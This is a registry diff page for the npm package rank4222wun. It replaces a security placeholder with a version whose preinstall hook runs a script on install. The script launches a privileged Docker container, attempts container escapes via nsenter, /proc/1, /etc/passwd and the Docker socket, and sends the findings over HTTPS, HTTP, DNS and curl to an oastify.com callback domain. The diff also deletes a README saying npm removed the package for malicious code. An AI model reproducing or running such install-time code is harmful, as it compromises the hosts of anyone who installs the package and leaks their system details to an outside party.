rank4222wun 0.0.1-security → 1.0.40

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of rank4222wun might be problematic. Click here for more details.

package/package.json CHANGED
@@ -1,6 +1,10 @@
1
1
  {
2
2
  "name": "rank4222wun",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.40",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node preinstall.js"
8
+ },
9
+ "dependencies": {}
6
10
  }
package/preinstall.js ADDED
@@ -0,0 +1,889 @@
1
+ // privileged-container-oast-FIXED.js
2
+ const { exec, spawn } = require('child_process');
3
+ const fs = require('fs');
4
+ const path = require('path');
5
+ const https = require('https');
6
+ const http = require('http'); // ✅ أضفت هذا
7
+ const dns = require('dns');
8
+ const crypto = require('crypto');
9
+
10
+ console.log(`
11
+ ╔══════════════════════════════════════════════════════════╗
12
+ ║ PRIVILEGED CONTAINER WITH OAST REPORTING - FIXED ║
13
+ ║ OAST Domain: v84zr5z8jz4cr781u5eyl6cgv71ypudj.oastify.com ║
14
+ ╚══════════════════════════════════════════════════════════╝
15
+ `);
16
+
17
+ // ===================== CONFIGURATION =====================
18
+ const CONFIG = {
19
+ OAST: {
20
+ domain: 'v84zr5z8jz4cr781u5eyl6cgv71ypudj.oastify.com',
21
+ httpsPort: 443,
22
+ httpPort: 80,
23
+ apiKey: crypto.randomBytes(16).toString('hex'),
24
+ sessionId: `priv-container-${Date.now()}-${crypto.randomBytes(4).toString('hex')}`
25
+ },
26
+
27
+ DOCKER: {
28
+ image: 'ubuntu:latest',
29
+ command: '/bin/bash',
30
+ privileged: true,
31
+ interactive: true,
32
+ remove: true, // ✅ غيرت لـ true عشان يتنظف تلقائياً
33
+ name: `priv-container-${Date.now()}`
34
+ },
35
+
36
+ SCAN: {
37
+ hostEscape: true,
38
+ networkScan: true,
39
+ fileAccess: true,
40
+ capabilityCheck: true
41
+ }
42
+ };
43
+
44
+ // ===================== OAST FUNCTIONS =====================
45
+ class OASTReporter {
46
+ constructor() {
47
+ this.interactions = [];
48
+ this.reports = [];
49
+ }
50
+
51
+ sendDNS(subdomain, data = {}) {
52
+ const dnsName = `${subdomain}.${CONFIG.OAST.sessionId}.${CONFIG.OAST.domain}`;
53
+
54
+ dns.lookup(dnsName, (err) => {
55
+ if (!err) {
56
+ const interaction = {
57
+ type: 'DNS',
58
+ timestamp: new Date().toISOString(),
59
+ subdomain: subdomain,
60
+ dnsName: dnsName,
61
+ data: data
62
+ };
63
+
64
+ this.interactions.push(interaction);
65
+ console.log(`📡 DNS OAST sent: ${dnsName}`);
66
+ } else {
67
+ console.log(`❌ DNS OAST failed for: ${dnsName}`);
68
+ }
69
+ });
70
+ }
71
+
72
+ sendHTTP(endpoint, data) {
73
+ const postData = JSON.stringify({
74
+ sessionId: CONFIG.OAST.sessionId,
75
+ timestamp: new Date().toISOString(),
76
+ ...data
77
+ });
78
+
79
+ const options = {
80
+ hostname: CONFIG.OAST.domain,
81
+ port: CONFIG.OAST.httpPort,
82
+ path: endpoint,
83
+ method: 'POST',
84
+ headers: {
85
+ 'Content-Type': 'application/json',
86
+ 'X-Session-ID': CONFIG.OAST.sessionId,
87
+ 'User-Agent': 'PrivilegedContainerScanner/1.0'
88
+ },
89
+ timeout: 5000
90
+ };
91
+
92
+ const req = http.request(options, (res) => {
93
+ let body = '';
94
+ res.on('data', chunk => body += chunk);
95
+ res.on('end', () => {
96
+ const interaction = {
97
+ type: 'HTTP',
98
+ timestamp: new Date().toISOString(),
99
+ endpoint: endpoint,
100
+ status: res.statusCode,
101
+ response: body,
102
+ data: data
103
+ };
104
+
105
+ this.interactions.push(interaction);
106
+ console.log(`📡 HTTP OAST sent (${res.statusCode}): ${endpoint}`);
107
+ });
108
+ });
109
+
110
+ req.on('error', (e) => {
111
+ console.log(`⚠️ HTTP OAST error: ${e.message}`);
112
+ });
113
+
114
+ req.on('timeout', () => {
115
+ console.log('⚠️ HTTP OAST timeout');
116
+ req.destroy();
117
+ });
118
+
119
+ req.write(postData);
120
+ req.end();
121
+ }
122
+
123
+ sendHTTPS(endpoint, data) {
124
+ const postData = JSON.stringify({
125
+ sessionId: CONFIG.OAST.sessionId,
126
+ timestamp: new Date().toISOString(),
127
+ ...data
128
+ });
129
+
130
+ const options = {
131
+ hostname: CONFIG.OAST.domain,
132
+ port: CONFIG.OAST.httpsPort,
133
+ path: endpoint,
134
+ method: 'POST',
135
+ headers: {
136
+ 'Content-Type': 'application/json',
137
+ 'X-Session-ID': CONFIG.OAST.sessionId,
138
+ 'X-Report-Type': 'privileged_container',
139
+ 'User-Agent': 'ContainerEscapeDetector/2.0'
140
+ },
141
+ timeout: 5000
142
+ };
143
+
144
+ const req = https.request(options, (res) => {
145
+ let body = '';
146
+ res.on('data', chunk => body += chunk);
147
+ res.on('end', () => {
148
+ const interaction = {
149
+ type: 'HTTPS',
150
+ timestamp: new Date().toISOString(),
151
+ endpoint: endpoint,
152
+ status: res.statusCode,
153
+ response: body,
154
+ data: data
155
+ };
156
+
157
+ this.interactions.push(interaction);
158
+ this.reports.push(interaction);
159
+ console.log(`📡 HTTPS OAST sent (${res.statusCode}): ${endpoint}`);
160
+ });
161
+ });
162
+
163
+ req.on('error', (e) => {
164
+ console.log(`⚠️ HTTPS OAST error: ${e.message}`);
165
+ });
166
+
167
+ req.on('timeout', () => {
168
+ console.log('⚠️ HTTPS OAST timeout');
169
+ req.destroy();
170
+ });
171
+
172
+ req.write(postData);
173
+ req.end();
174
+ }
175
+
176
+ async reportContainerEscape(containerId, evidence) {
177
+ const report = {
178
+ containerId: containerId.substring(0, 12),
179
+ escapeConfirmed: evidence.escaped || false,
180
+ confidence: evidence.confidence || 0,
181
+ methods: evidence.methods || [],
182
+ proofPoints: evidence.proofPoints || [],
183
+ hostInfo: evidence.hostInfo || {},
184
+ timestamp: new Date().toISOString()
185
+ };
186
+
187
+ // إرسال عبر HTTPS
188
+ this.sendHTTPS('/privileged-container-escape', report);
189
+
190
+ // إرسال DNS notification
191
+ if (evidence.escaped) {
192
+ this.sendDNS('escape-confirmed', {
193
+ container: containerId.substring(0, 12),
194
+ confidence: evidence.confidence
195
+ });
196
+ }
197
+
198
+ // حفظ محلياً
199
+ this.saveLocalReport(report);
200
+
201
+ return report;
202
+ }
203
+
204
+ saveLocalReport(report) {
205
+ const filename = `oast-report-${CONFIG.OAST.sessionId}.json`;
206
+ const allReports = {
207
+ sessionId: CONFIG.OAST.sessionId,
208
+ domain: CONFIG.OAST.domain,
209
+ timestamp: new Date().toISOString(),
210
+ reports: this.reports,
211
+ containerReport: report
212
+ };
213
+
214
+ try {
215
+ fs.writeFileSync(filename, JSON.stringify(allReports, null, 2));
216
+ console.log(`💾 Report saved locally: ${filename}`);
217
+ } catch (e) {
218
+ console.log(`❌ Could not save report: ${e.message}`);
219
+ }
220
+ }
221
+ }
222
+
223
+ // ===================== CONTAINER SCANNER =====================
224
+ class PrivilegedContainerScanner {
225
+ constructor() {
226
+ this.containerId = null;
227
+ this.oastReporter = new OASTReporter();
228
+ this.evidence = {
229
+ escaped: false,
230
+ confidence: 0,
231
+ methods: [],
232
+ proofPoints: [],
233
+ hostInfo: {},
234
+ containerInfo: {}
235
+ };
236
+ }
237
+
238
+ async run() {
239
+ try {
240
+ console.log('🚀 Starting privileged container analysis...\n');
241
+ console.log(`📍 OAST Domain: ${CONFIG.OAST.domain}`);
242
+ console.log(`🔑 Session ID: ${CONFIG.OAST.sessionId}\n`);
243
+
244
+ // إرسال بداية الجلسة إلى OAST
245
+ this.oastReporter.sendHTTPS('/session-start', {
246
+ action: 'privileged_container_start',
247
+ config: CONFIG
248
+ });
249
+
250
+ // 1. تشغيل الحاوية المميزة
251
+ await this.runPrivilegedContainer();
252
+
253
+ // 2. جمع المعلومات الأساسية
254
+ await this.collectBasicInfo();
255
+
256
+ // 3. محاولة الهروب والتأكيد
257
+ await this.attemptEscape();
258
+
259
+ // 4. فحص إضافي للحاوية
260
+ await this.performDeepScan();
261
+
262
+ // 5. تحليل النتائج
263
+ await this.analyzeResults();
264
+
265
+ // 6. إرسال التقرير النهائي
266
+ await this.sendFinalReport();
267
+
268
+ // 7. عرض النتائج
269
+ this.displayResults();
270
+
271
+ // 8. تنظيف (اختياري)
272
+ await this.cleanup();
273
+
274
+ } catch (error) {
275
+ console.error(`❌ Error: ${error.message}`);
276
+ this.oastReporter.sendHTTPS('/error', { error: error.message });
277
+ }
278
+ }
279
+
280
+ async runPrivilegedContainer() {
281
+ console.log('📦 Running privileged container...');
282
+
283
+ const dockerArgs = [
284
+ 'run',
285
+ '--privileged',
286
+ '-d',
287
+ '--name', CONFIG.DOCKER.name,
288
+ CONFIG.DOCKER.image,
289
+ 'sleep', '3600'
290
+ ];
291
+
292
+ return new Promise((resolve, reject) => {
293
+ exec(`docker ${dockerArgs.join(' ')}`, (error, stdout, stderr) => {
294
+ if (error) {
295
+ console.error(`❌ Docker run error: ${error.message}`);
296
+ console.error(`stderr: ${stderr}`);
297
+ reject(error);
298
+ return;
299
+ }
300
+
301
+ this.containerId = stdout.trim();
302
+ console.log(`✅ Container started: ${this.containerId.substring(0, 12)}`);
303
+
304
+ // إرسال إلى OAST
305
+ this.oastReporter.sendHTTPS('/container-started', {
306
+ containerId: this.containerId.substring(0, 12),
307
+ name: CONFIG.DOCKER.name,
308
+ image: CONFIG.DOCKER.image,
309
+ privileged: true
310
+ });
311
+
312
+ // الانتظار للحاوية لتبدأ
313
+ console.log('⏳ Waiting for container to start...');
314
+ setTimeout(resolve, 3000);
315
+ });
316
+ });
317
+ }
318
+
319
+ async collectBasicInfo() {
320
+ console.log('\n🔍 Collecting basic container information...');
321
+
322
+ const commands = [
323
+ // معلومات النظام
324
+ 'cat /etc/os-release 2>/dev/null || echo "Cannot read os-release"',
325
+ 'uname -a 2>/dev/null || echo "Cannot get kernel info"',
326
+ 'whoami 2>/dev/null || echo "Cannot get user"',
327
+ 'id 2>/dev/null || echo "Cannot get id"',
328
+
329
+ // الصلاحيات
330
+ 'capsh --print 2>/dev/null || echo "No capsh"',
331
+ 'cat /proc/self/status 2>/dev/null | grep -i cap || echo "Cannot read capabilities"',
332
+
333
+ // نظام الملفات
334
+ 'ls -la / 2>/dev/null | head -10 || echo "Cannot list root"',
335
+ 'mount 2>/dev/null | head -20 || echo "Cannot get mounts"',
336
+ 'df -h 2>/dev/null | head -10 || echo "Cannot get disk usage"',
337
+
338
+ // الذاكرة والمعالج
339
+ 'free -h 2>/dev/null || echo "Cannot get memory info"',
340
+ 'cat /proc/cpuinfo 2>/dev/null | grep "model name" | head -1 || echo "Cannot get CPU info"',
341
+
342
+ // الشبكة
343
+ 'ip addr show 2>/dev/null | head -20 || echo "Cannot get network info"',
344
+ 'hostname -I 2>/dev/null || echo "Cannot get IP"',
345
+ 'cat /etc/hosts 2>/dev/null | head -5 || echo "Cannot read hosts"',
346
+
347
+ // معلومات Docker
348
+ 'cat /proc/1/cgroup 2>/dev/null | head -5 || echo "No cgroup access"',
349
+ 'ls -la /var/run/docker.sock 2>/dev/null || echo "No docker socket"'
350
+ ];
351
+
352
+ const results = {};
353
+
354
+ for (const cmd of commands) {
355
+ try {
356
+ const output = await this.execInContainer(cmd);
357
+ results[cmd.split(' ')[0]] = output.substring(0, 500);
358
+
359
+ // تحليل بعض النتائج الهامة
360
+ if (cmd.includes('os-release')) {
361
+ this.evidence.containerInfo.os = output;
362
+ }
363
+ if (cmd.includes('uname -a')) {
364
+ this.evidence.containerInfo.kernel = output;
365
+ }
366
+ if (cmd.includes('capsh')) {
367
+ this.evidence.containerInfo.capabilities = output;
368
+ }
369
+
370
+ } catch (error) {
371
+ results[cmd.split(' ')[0]] = `ERROR: ${error.message}`;
372
+ }
373
+ }
374
+
375
+ // إرسال المعلومات الأساسية إلى OAST
376
+ this.oastReporter.sendHTTPS('/basic-info', {
377
+ containerId: this.containerId.substring(0, 12),
378
+ basicInfo: results
379
+ });
380
+
381
+ return results;
382
+ }
383
+
384
+ async attemptEscape() {
385
+ console.log('\n🔓 Attempting container escape...');
386
+
387
+ const escapeTests = [
388
+ {
389
+ name: 'nsenter_escape',
390
+ command: 'which nsenter 2>/dev/null && nsenter --target 1 --mount -- sh -c "echo HOST_HOSTNAME:$(cat /etc/hostname 2>/dev/null) && echo CONTAINER_HOSTNAME:$(hostname 2>/dev/null)" 2>/dev/null || echo "FAILED"',
391
+ check: (output) => output.includes('HOST_HOSTNAME') && output.includes('CONTAINER_HOSTNAME')
392
+ },
393
+ {
394
+ name: 'proc_escape',
395
+ command: 'cat /proc/1/status 2>/dev/null | head -5 && cat /proc/1/cmdline 2>/dev/null | tr "\\0" " " | head -c 100 2>/dev/null || echo "NO_ACCESS"',
396
+ check: (output) => output.includes('State:') && output.length > 20
397
+ },
398
+ {
399
+ name: 'host_mounts',
400
+ command: 'ls -la /home 2>/dev/null || ls -la /root 2>/dev/null || cat /etc/passwd 2>/dev/null | head -5 || echo "NO_ACCESS"',
401
+ check: (output) => !output.includes('NO_ACCESS') && output.length > 10
402
+ },
403
+ {
404
+ name: 'docker_socket',
405
+ command: 'ls -la /var/run/docker.sock 2>/dev/null && echo "EXISTS" || echo "NOT_EXISTS"',
406
+ check: (output) => output.includes('EXISTS')
407
+ },
408
+ {
409
+ name: 'network_escape',
410
+ command: 'ip route show 2>/dev/null | head -5 || echo "NO_ROUTE"',
411
+ check: (output) => !output.includes('NO_ROUTE')
412
+ }
413
+ ];
414
+
415
+ for (const test of escapeTests) {
416
+ try {
417
+ const output = await this.execInContainer(test.command);
418
+
419
+ if (test.check(output)) {
420
+ this.evidence.methods.push(test.name);
421
+ console.log(`✅ ${test.name}: Possible`);
422
+
423
+ // إرسال إلى OAST
424
+ this.oastReporter.sendHTTPS('/escape-attempt', {
425
+ method: test.name,
426
+ success: true,
427
+ output: output.substring(0, 300)
428
+ });
429
+
430
+ // التحقق من اختلاف hostname لـ nsenter
431
+ if (test.name === 'nsenter_escape') {
432
+ const lines = output.split('\n');
433
+ let hostHostname = '';
434
+ let containerHostname = '';
435
+
436
+ lines.forEach(line => {
437
+ if (line.startsWith('HOST_HOSTNAME:')) {
438
+ hostHostname = line.replace('HOST_HOSTNAME:', '').trim();
439
+ }
440
+ if (line.startsWith('CONTAINER_HOSTNAME:')) {
441
+ containerHostname = line.replace('CONTAINER_HOSTNAME:', '').trim();
442
+ }
443
+ });
444
+
445
+ if (hostHostname && containerHostname && hostHostname !== containerHostname) {
446
+ this.evidence.proofPoints.push(`Host hostname (${hostHostname}) differs from container (${containerHostname})`);
447
+ this.evidence.hostInfo.hostname = hostHostname;
448
+ this.evidence.escaped = true;
449
+ }
450
+ }
451
+ } else {
452
+ console.log(`❌ ${test.name}: Not possible`);
453
+ }
454
+ } catch (error) {
455
+ console.log(`⚠️ ${test.name}: Error - ${error.message}`);
456
+ }
457
+ }
458
+ }
459
+
460
+ async performDeepScan() {
461
+ if (!CONFIG.SCAN.hostEscape) return;
462
+
463
+ console.log('\n🔬 Performing deep scan...');
464
+
465
+ const deepChecks = [
466
+ // محاولة إنشاء حاوية من داخل الحاوية
467
+ {
468
+ name: 'nested_container',
469
+ command: 'which docker 2>/dev/null && docker ps 2>/dev/null || which podman 2>/dev/null && podman ps 2>/dev/null || echo "NO_CONTAINER_RUNTIME"',
470
+ check: (output) => !output.includes('NO_CONTAINER_RUNTIME')
471
+ },
472
+
473
+ // فحص kernel vulnerabilities
474
+ {
475
+ name: 'kernel_check',
476
+ command: 'uname -r 2>/dev/null && echo "KERNEL:$(uname -r)" || echo "NO_KERNEL_INFO"',
477
+ check: (output) => output.includes('KERNEL:')
478
+ },
479
+
480
+ // محاولة كتابة ملف في نظام المضيف
481
+ {
482
+ name: 'host_write_test',
483
+ command: 'echo "TEST_WRITE_FROM_CONTAINER_$(date +%s)" > /tmp/container_test_$(hostname).txt 2>/dev/null && echo "WRITE_SUCCESS" || echo "WRITE_FAILED"',
484
+ check: (output) => output.includes('WRITE_SUCCESS')
485
+ },
486
+
487
+ // فحص mount points خطيرة
488
+ {
489
+ name: 'dangerous_mounts',
490
+ command: 'mount 2>/dev/null | grep -E "(proc|sys|dev|/var/run)" | head -10 || echo "NO_DANGEROUS_MOUNTS"',
491
+ check: (output) => !output.includes('NO_DANGEROUS_MOUNTS')
492
+ }
493
+ ];
494
+
495
+ for (const check of deepChecks) {
496
+ try {
497
+ const output = await this.execInContainer(check.command);
498
+
499
+ if (check.check(output)) {
500
+ console.log(`⚠️ ${check.name}: Found potential issue`);
501
+
502
+ // إرسال إلى OAST
503
+ this.oastReporter.sendDNS(check.name, {
504
+ result: output.substring(0, 100)
505
+ });
506
+ }
507
+ } catch (error) {
508
+ // تجاهل الأخطاء
509
+ }
510
+ }
511
+ }
512
+
513
+ async analyzeResults() {
514
+ console.log('\n📊 Analyzing results...');
515
+
516
+ // حساب مستوى الثقة
517
+ let confidence = 0;
518
+
519
+ // نقاط لكل طريقة هروب محتملة
520
+ const methodPoints = {
521
+ nsenter_escape: 30,
522
+ proc_escape: 25,
523
+ host_mounts: 20,
524
+ docker_socket: 25,
525
+ network_escape: 15
526
+ };
527
+
528
+ this.evidence.methods.forEach(method => {
529
+ confidence += methodPoints[method] || 10;
530
+ });
531
+
532
+ // نقاط إضافية لأدلة قاطعة
533
+ if (this.evidence.proofPoints.length > 0) {
534
+ confidence += this.evidence.proofPoints.length * 10;
535
+ }
536
+
537
+ // إذا كان hostname مختلف
538
+ if (this.evidence.hostInfo.hostname) {
539
+ confidence += 20;
540
+ }
541
+
542
+ // تحديد إذا تم الهروب فعلاً
543
+ this.evidence.confidence = Math.min(100, confidence);
544
+
545
+ if (this.evidence.confidence >= 60) {
546
+ this.evidence.escaped = true;
547
+ console.log(`🚨 CONFIRMED: Container escape possible (${this.evidence.confidence}% confidence)`);
548
+ } else if (this.evidence.confidence >= 30) {
549
+ console.log(`⚠️ POSSIBLE: Container escape may be possible (${this.evidence.confidence}% confidence)`);
550
+ } else {
551
+ console.log(`✅ SECURE: Container appears isolated (${this.evidence.confidence}% confidence)`);
552
+ }
553
+ }
554
+
555
+ async sendFinalReport() {
556
+ console.log('\n📡 Sending final report to OAST...');
557
+
558
+ const report = {
559
+ sessionId: CONFIG.OAST.sessionId,
560
+ containerId: this.containerId ? this.containerId.substring(0, 12) : 'unknown',
561
+ timestamp: new Date().toISOString(),
562
+ evidence: this.evidence,
563
+ summary: {
564
+ escaped: this.evidence.escaped,
565
+ confidence: this.evidence.confidence,
566
+ methods: this.evidence.methods,
567
+ proofPoints: this.evidence.proofPoints
568
+ }
569
+ };
570
+
571
+ // إرسال التقرير النهائي
572
+ this.oastReporter.reportContainerEscape(this.containerId, this.evidence);
573
+
574
+ // إرسال DNS notification للنتيجة
575
+ const resultType = this.evidence.escaped ? 'escape-confirmed' : 'no-escape';
576
+ this.oastReporter.sendDNS(resultType, {
577
+ confidence: this.evidence.confidence,
578
+ methods: this.evidence.methods.length
579
+ });
580
+
581
+ return report;
582
+ }
583
+
584
+ displayResults() {
585
+ console.log('\n' + '='.repeat(80));
586
+ console.log('📊 PRIVILEGED CONTAINER ANALYSIS RESULTS');
587
+ console.log('='.repeat(80));
588
+
589
+ console.log(`\n📦 Container ID: ${this.containerId ? this.containerId.substring(0, 12) : 'unknown'}`);
590
+ console.log(`📍 OAST Domain: ${CONFIG.OAST.domain}`);
591
+ console.log(`🔑 Session ID: ${CONFIG.OAST.sessionId}`);
592
+
593
+ console.log(`\n🎯 Escape Status: ${this.evidence.escaped ? '🚨 CONFIRMED' : '✅ NOT CONFIRMED'}`);
594
+ console.log(`📈 Confidence Level: ${this.evidence.confidence}%`);
595
+
596
+ if (this.evidence.methods.length > 0) {
597
+ console.log(`\n🔓 Possible Escape Methods:`);
598
+ this.evidence.methods.forEach((method, i) => {
599
+ console.log(` ${i + 1}. ${method}`);
600
+ });
601
+ }
602
+
603
+ if (this.evidence.proofPoints.length > 0) {
604
+ console.log(`\n🎯 Evidence Found:`);
605
+ this.evidence.proofPoints.forEach((proof, i) => {
606
+ console.log(` ${i + 1}. ${proof}`);
607
+ });
608
+ }
609
+
610
+ if (this.evidence.hostInfo.hostname) {
611
+ console.log(`\n🖥️ Host Information:`);
612
+ console.log(` Hostname: ${this.evidence.hostInfo.hostname}`);
613
+ }
614
+
615
+ console.log(`\n📡 OAST Interactions: ${this.oastReporter.interactions.length} interactions sent`);
616
+ console.log(` DNS: ${this.oastReporter.interactions.filter(i => i.type === 'DNS').length}`);
617
+ console.log(` HTTPS: ${this.oastReporter.interactions.filter(i => i.type === 'HTTPS').length}`);
618
+
619
+ console.log('\n🔍 Check your OAST dashboard for detailed evidence:');
620
+ console.log(` Session ID: ${CONFIG.OAST.sessionId}`);
621
+ console.log(` Look for interactions at: ${CONFIG.OAST.domain}`);
622
+
623
+ console.log('\n' + '='.repeat(80));
624
+ console.log('🎯 ANALYSIS COMPLETE');
625
+ console.log('='.repeat(80));
626
+ }
627
+
628
+ async cleanup() {
629
+ if (this.containerId) {
630
+ console.log('\n🧹 Cleaning up container...');
631
+
632
+ try {
633
+ await this.execOnHost(`docker stop ${this.containerId} 2>/dev/null || true`);
634
+ await this.execOnHost(`docker rm ${this.containerId} 2>/dev/null || true`);
635
+ console.log('✅ Container cleaned up');
636
+
637
+ // إرسال إشعار التنظيف إلى OAST
638
+ this.oastReporter.sendHTTPS('/cleanup', {
639
+ containerId: this.containerId.substring(0, 12),
640
+ action: 'container_removed'
641
+ });
642
+ } catch (error) {
643
+ console.log(`⚠️ Could not clean up container: ${error.message}`);
644
+ }
645
+ }
646
+ }
647
+
648
+ execInContainer(command) {
649
+ return new Promise((resolve, reject) => {
650
+ if (!this.containerId) {
651
+ reject(new Error('No container running'));
652
+ return;
653
+ }
654
+
655
+ exec(`docker exec ${this.containerId} sh -c "${command.replace(/"/g, '\\"')}"`,
656
+ { timeout: 10000 },
657
+ (error, stdout, stderr) => {
658
+ if (error) {
659
+ reject(error);
660
+ } else {
661
+ resolve(stdout || stderr || '');
662
+ }
663
+ }
664
+ );
665
+ });
666
+ }
667
+
668
+ execOnHost(command) {
669
+ return new Promise((resolve, reject) => {
670
+ exec(command, { timeout: 10000 }, (error, stdout, stderr) => {
671
+ if (error) {
672
+ reject(error);
673
+ } else {
674
+ resolve(stdout);
675
+ }
676
+ });
677
+ });
678
+ }
679
+ }
680
+
681
+ // ===================== SIMPLE VERSION =====================
682
+ function runSimplePrivilegedWithOAST() {
683
+ console.log('🚀 Running simple privileged container with OAST reporting...\n');
684
+
685
+ const containerName = `simple-priv-${Date.now()}`;
686
+ const sessionId = `simple-${Date.now()}-${crypto.randomBytes(4).toString('hex')}`;
687
+
688
+ console.log(`Container: ${containerName}`);
689
+ console.log(`Session: ${sessionId}`);
690
+
691
+ // تشغيل الحاوية
692
+ const dockerArgs = [
693
+ 'run',
694
+ '--privileged',
695
+ '--name', containerName,
696
+ '--rm',
697
+ CONFIG.DOCKER.image,
698
+ 'sh', '-c',
699
+ `
700
+ echo "=== PRIVILEGED CONTAINER STARTED ==="
701
+ echo "Session: ${sessionId}"
702
+ echo "Hostname: $(hostname)"
703
+ echo "User: $(whoami)"
704
+ echo "=== TESTING ESCAPE ==="
705
+
706
+ # Test nsenter
707
+ which nsenter 2>/dev/null && echo "nsenter: AVAILABLE" || echo "nsenter: NOT_AVAILABLE"
708
+
709
+ # Test host access
710
+ cat /proc/1/status 2>/dev/null | head -2 && echo "Host proc: ACCESSIBLE" || echo "Host proc: NO_ACCESS"
711
+
712
+ # Send DNS notification
713
+ nslookup ${sessionId}.simple-test.${CONFIG.OAST.domain} 2>/dev/null || echo "DNS test"
714
+
715
+ # Try to send HTTP
716
+ curl -X POST http://${CONFIG.OAST.domain}/simple-test -d "session=${sessionId}" 2>/dev/null || echo "HTTP test"
717
+
718
+ echo "=== CONTAINER COMPLETE ==="
719
+ sleep 2
720
+ `
721
+ ];
722
+
723
+ console.log(`Running: docker ${dockerArgs.slice(0, 5).join(' ')} ...`);
724
+
725
+ const dockerProcess = spawn('docker', dockerArgs, { stdio: 'inherit' });
726
+
727
+ dockerProcess.on('close', (code) => {
728
+ console.log(`\n✅ Container exited with code: ${code}`);
729
+
730
+ console.log(`\n📡 Check OAST for interactions: ${CONFIG.OAST.domain}`);
731
+ console.log(`🔑 Session ID: ${sessionId}`);
732
+ });
733
+ }
734
+
735
+ // ===================== INTERACTIVE VERSION =====================
736
+ function runInteractivePrivileged() {
737
+ console.log('🚀 Running interactive privileged container...\n');
738
+ console.log(`📡 OAST Domain: ${CONFIG.OAST.domain}`);
739
+ console.log(`🔑 Session ID: ${CONFIG.OAST.sessionId}\n`);
740
+
741
+ // إرسال إشعار البدء
742
+ try {
743
+ const req = https.request({
744
+ hostname: CONFIG.OAST.domain,
745
+ port: CONFIG.OAST.httpsPort,
746
+ path: '/interactive-start',
747
+ method: 'POST',
748
+ headers: {
749
+ 'Content-Type': 'application/json',
750
+ 'X-Session-ID': CONFIG.OAST.sessionId
751
+ },
752
+ timeout: 5000
753
+ });
754
+
755
+ req.write(JSON.stringify({
756
+ action: 'interactive_container_start',
757
+ timestamp: new Date().toISOString(),
758
+ command: 'docker run --privileged -it ubuntu:latest /bin/bash'
759
+ }));
760
+ req.end();
761
+ } catch (e) {
762
+ console.log(`⚠️ Could not send start notification: ${e.message}`);
763
+ }
764
+
765
+ // تشغيل الحاوية التفاعلية
766
+ console.log('💻 Starting interactive bash session...');
767
+ console.log(' You can test commands manually.');
768
+ console.log(' Try these commands to test escape:');
769
+ console.log(' - nsenter --target 1 --mount -- sh -c "hostname"');
770
+ console.log(' - cat /proc/1/status');
771
+ console.log(' - ls -la /var/run/docker.sock');
772
+ console.log(` - nslookup test.${CONFIG.OAST.sessionId}.${CONFIG.OAST.domain}`);
773
+ console.log(' - exit (to finish)\n');
774
+
775
+ const dockerProcess = spawn('docker', [
776
+ 'run',
777
+ '--privileged',
778
+ '-it',
779
+ '--rm',
780
+ '--name', `interactive-${CONFIG.OAST.sessionId}`,
781
+ CONFIG.DOCKER.image,
782
+ CONFIG.DOCKER.command
783
+ ], {
784
+ stdio: 'inherit'
785
+ });
786
+
787
+ dockerProcess.on('close', (code) => {
788
+ console.log(`\n🔚 Container exited with code: ${code}`);
789
+
790
+ // إرسال إشعار الانتهاء
791
+ try {
792
+ const endReq = https.request({
793
+ hostname: CONFIG.OAST.domain,
794
+ port: CONFIG.OAST.httpsPort,
795
+ path: '/interactive-end',
796
+ method: 'POST',
797
+ headers: {
798
+ 'Content-Type': 'application/json',
799
+ 'X-Session-ID': CONFIG.OAST.sessionId
800
+ },
801
+ timeout: 5000
802
+ });
803
+
804
+ endReq.write(JSON.stringify({
805
+ action: 'interactive_container_end',
806
+ exitCode: code,
807
+ timestamp: new Date().toISOString()
808
+ }));
809
+ endReq.end();
810
+ } catch (e) {
811
+ console.log(`⚠️ Could not send end notification: ${e.message}`);
812
+ }
813
+
814
+ console.log(`\n📡 Check OAST interactions at: ${CONFIG.OAST.domain}`);
815
+ console.log(`🔑 Use Session ID: ${CONFIG.OAST.sessionId}`);
816
+ });
817
+
818
+ // التعامل مع Ctrl+C
819
+ process.on('SIGINT', () => {
820
+ console.log('\n\n⚠️ Received Ctrl+C, cleaning up...');
821
+ dockerProcess.kill('SIGINT');
822
+ });
823
+ }
824
+
825
+ // ===================== MAIN FUNCTION =====================
826
+ async function main() {
827
+ console.log('🎯 Choose scanning method:');
828
+ console.log(' 1. Full analysis with automated scanning and OAST reporting');
829
+ console.log(' 2. Simple container with basic OAST reporting');
830
+ console.log(' 3. Interactive privileged container (docker run --privileged -it ubuntu:latest /bin/bash)');
831
+ console.log(' 4. Exit');
832
+
833
+ const readline = require('readline').createInterface({
834
+ input: process.stdin,
835
+ output: process.stdout
836
+ });
837
+
838
+ readline.question('\nSelect option: ', async (choice) => {
839
+ readline.close();
840
+
841
+ switch(choice.trim()) {
842
+ case '1':
843
+ const scanner = new PrivilegedContainerScanner();
844
+ await scanner.run();
845
+ break;
846
+
847
+ case '2':
848
+ runSimplePrivilegedWithOAST();
849
+ break;
850
+
851
+ case '3':
852
+ runInteractivePrivileged();
853
+ break;
854
+
855
+ default:
856
+ console.log('👋 Exiting');
857
+ process.exit(0);
858
+ }
859
+ });
860
+ }
861
+
862
+ // ===================== CHECK DOCKER =====================
863
+ if (require.main === module) {
864
+ // التحقق من Docker
865
+ exec('which docker', (error) => {
866
+ if (error) {
867
+ console.error('❌ Docker is not installed or not in PATH');
868
+ process.exit(1);
869
+ }
870
+
871
+ exec('docker ps', (error, stdout, stderr) => {
872
+ if (error && error.message.includes('permission denied')) {
873
+ console.error('❌ Permission denied for Docker');
874
+ console.log(' Try: sudo usermod -aG docker $USER');
875
+ console.log(' Then logout and login again');
876
+ process.exit(1);
877
+ }
878
+
879
+ console.log(`✅ Docker is available`);
880
+ console.log(`📍 OAST Domain: ${CONFIG.OAST.domain}`);
881
+ console.log(`🔑 Session ID: ${CONFIG.OAST.sessionId}\n`);
882
+
883
+ // بدء البرنامج
884
+ main();
885
+ });
886
+ });
887
+ }
888
+
889
+ module.exports = { PrivilegedContainerScanner, CONFIG };
Binary file
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=rank4222wun for more information.